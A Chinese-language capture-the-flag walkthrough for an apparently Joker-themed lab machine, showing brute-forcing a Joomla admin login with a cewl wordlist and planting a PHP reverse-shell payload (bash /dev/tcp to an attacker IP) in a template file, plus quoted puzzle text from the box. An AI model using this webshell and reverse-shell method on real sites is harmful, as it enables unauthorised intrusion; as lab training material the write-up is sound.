web信息收集
主页就是个小丑图片！没有可疑点！
/how_to.txt
/joomla
Joomla!是一套自由、开放源代码的内容管理系统，以PHP撰写，用于发布内容在万维网与内部网;
通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等，还可以进行二次开发以扩展使用范围。
其功能包含可提高性能的页面缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。Joomla!是一套自由的开源软件，使用GPL许可，任何人随时都能下载 Joomla! 并立即使用它。
使用 JoomlaScan 工具也没有什么收获！根据靶机提示，枚举爆破可能有用！我们只能尝试爆破joomla！的登录后台账号以及密码了！
CMS利用
1、爆破后台
┌──(root㉿ru)-[~/kali]
└─# cat user
joomla
joomla!
Joomla
Joomla!
admin
root
利用cewl命令去网页抓取点字符串当密码！
抓取登陆包！
记得都把url编码去掉！
用户名：joomla 密码：Gotham
2、登录
登录成功！
在joomla中，我们可以利用模板文件写入shell的方式获取到shell！
选择第二个！
我们在index 文件写入反弹shell木马！
3、反弹shell
payload
bash -c '/bin/bash -i >&/dev/tcp/192.168.16.128/1234 0>&1‘
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.16.128/1234 0>&1'"); ?>
在kali进行监听！然后访问index即可！

你好，亲爱的，亚瑟患有严重的精神疾病，但我们对他的病情没有多少同情。这与他被忽视的感觉有关。你可以在他的日记中找到一条写道：“患有精神疾病最糟糕的部分是人们希望你表现得好像你没有。”
现在我需要你的帮助阿布纳，使用这个密码，你会找到正确的方法来解决这个谜。

A Glasgow smile is a wound caused by making a cut from the corners of a victim's mouth up to the ears, leaving a scar in the shape of a smile.
The act is usually performed with a utility knife or a piece of broken glass, leaving a scar which causes the victim to appear to be smiling broadly.
The practice is said to have originated in Glasgow, Scotland in the 1920s and 30s. The attack became popular with English street gangs (especially among the Chelsea Headhunters, a London-based hooligan firm, among whom it is known as a "Chelsea grin" or "Chelsea smile").
译：
格拉斯哥微笑是一种从受害者的嘴角到耳朵的伤口，留下微笑形状的疤痕。
这种行为通常是用一把美工刀或一块碎玻璃进行的，留下的疤痕会让受害者看起来笑容满面。
据说这种做法起源于20世纪二三十年代的苏格兰格拉斯哥。这次袭击在英国街头帮派中很受欢迎（尤其是在总部位于伦敦的流氓公司切尔西猎头公司中，这被称为“切尔西咧嘴笑”或“切尔西微笑”）。

Hey Penguin,
I'm writing software, I can't make it work because of a permissions issue. It only runs with root permissions. When it's complete I'll copy it to this folder.
